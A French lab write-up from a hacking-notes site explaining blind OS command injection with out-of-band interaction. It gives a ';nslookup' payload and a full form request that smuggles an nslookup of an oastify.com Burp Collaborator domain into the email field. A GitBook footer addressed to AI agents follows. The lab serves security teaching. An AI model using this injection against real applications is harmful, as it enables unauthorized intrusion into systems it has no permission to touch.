> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/command-injection/blind-command-injection-with-oob-interaction.md).

# Injection de commandes aveugle avec interaction OOB

### Injection aveugle de commandes système avec interaction hors bande

Ce laboratoire présente une vulnérabilité à l’injection aveugle de commandes système dans la fonctionnalité de retour d’information. / L’application exécute une commande shell construite à partir de données fournies par l’utilisateur. Cette exécution est **asynchrone** et n’influence pas la réponse renvoyée par l’application. Il n’est pas possible de rediriger la sortie de la commande vers un emplacement accessible. En revanche, il est possible de provoquer **des interactions hors bande (OOB)** avec un domaine externe.

Le but du laboratoire est d’utiliser cette injection pour forcer l’application à effectuer une requête \*\* DNS\*\* vers un domaine Burp Collaborator.

#### **Approche**

`nslookup` est utilisé pour générer une requête sortante. / L’injection se fait dans l’un des champs du formulaire, en entourant la commande avec `;` pour casser la syntaxe d’origine.

Exemple de commande testée :

```
nslookup
```

Charge utile injectée :

<pre><code><strong>;nslookup IP;
</strong></code></pre>

Si l’injection fonctionne, nous recevons la requête dans Burp Collaborator.

#### **Exemple de requête complète**

{% code overflow="wrap" %}

```bash
csrf=2GdzmbhNzU7HHOj8pOZUwUfJ1s0EIbjP&name=test&email=test%40test.com.com;nslookup v51x9gtodb5n35252oddaichm8szgq4f.oastify.com;&subject=test&message=test.com
```

{% endcode %}

Cette charge utile déclenche une requête DNS vers le domaine contrôlé, confirmant l’injection aveugle hors bande.

<figure><img src="/files/0a3ddfd76e58b20f776ead16f36621f5ad29accd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/command-injection/blind-command-injection-with-oob-interaction.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
